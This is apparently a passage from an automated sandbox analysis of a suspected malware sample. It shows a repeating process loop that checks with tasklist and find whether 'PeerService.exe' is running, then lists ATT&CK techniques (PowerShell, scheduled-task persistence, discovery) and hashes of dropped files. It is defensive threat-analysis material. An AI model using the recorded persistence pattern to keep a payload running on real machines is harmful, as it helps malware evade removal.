- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2356
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2168
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1400
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:396
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2624
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5028
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1172
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4916
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:720
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1344
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2544
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2188
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2184
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2940
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:840
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4896
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4564
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4208
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2756
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1864
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4508
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4748
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1180
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:648
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2428
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1072
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3224
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4596
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3168
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2944
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1416
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2624
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4204
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1852
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2016
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1524
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3740
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2548
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1928
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:948
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2204
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2628
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2432
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4168
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:388
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5044
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:764
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2552
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1004
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 796B
SHA256 e7fad892466b9e804c249fe3a0ec61a726df39e5a6d5a53c1ee91481f40765aa
MD5 af47364604df0a6528bb7bb75d5c5904
SHA1 789717a0a734c28e81f20cc7ab08a997256b049b
SHA512 d993adb56ca911f5cdb97f94ef42d51f955a8a2e60ff726f6a096fc61cfb6027bf385a767c9741ae988239f6acf93d585cdabf4935ff7221d549e8d072bd6b31
TLSH
T184012632F74CC129C8D5127A148CAD11B234C3C74057DE8B6B84C614E557986CFA46E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hmotbsvx.03c.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hmotbsvx.03c.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 8.6MB
SHA256 5b901a93c5c232f9eff4b2f82c2f545a14df8a3dd394f8ba81fd8917ad84f9a3
MD5 3f11ccba91d285cce76ef959807a0c90
SHA1 5edf4a0c3c440b314f4c75e9779e12d87f0f2dfe
SHA512 f0ff2290857b83ebe753d279aea424c0af039b857388da5c1085ff75ecd7a6adc60a59ec953ced305250b0fcdd21d88f931a460f2aa8b815d3605d99fd936beb
SSDEEP 196608:4+hx9ekEeByQyVG/uzGNVyAl3K8fCGnbP3JzAaByQyVG/uzGNVyAl3d:X9esNSG/lVrl3KExL3JzAuNSG/lVrl3d
TLSH
T17A96126BB26901E8D1BFD17CC9065907EBB2780543A0A7DF12E046A62F73BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2200-44-0x0000020BC6DC0000-0x0000020BC6DDC000-memory.dmp

Download

memory/2200-43-0x0000020BC6D90000-0x0000020BC6D9A000-memory.dmp

Download

memory/2200-42-0x0000020BC6CD0000-0x0000020BC6D83000-memory.dmp

Download

memory/2200-51-0x0000020BC6DA0000-0x0000020BC6DAA000-memory.dmp

Download

memory/2200-52-0x0000020BC6E00000-0x0000020BC6E1A000-memory.dmp

Download

memory/2200-53-0x0000020BC6DB0000-0x0000020BC6DB8000-memory.dmp

Download

memory/2200-54-0x0000020BC6DE0000-0x0000020BC6DE6000-memory.dmp

Download

memory/2200-55-0x0000020BC6DF0000-0x0000020BC6DFA000-memory.dmp

Download

memory/2200-41-0x0000020BC6CB0000-0x0000020BC6CCC000-memory.dmp

Download

memory/3172-28-0x0000012ED4260000-0x0000012ED4282000-memory.dmp

Download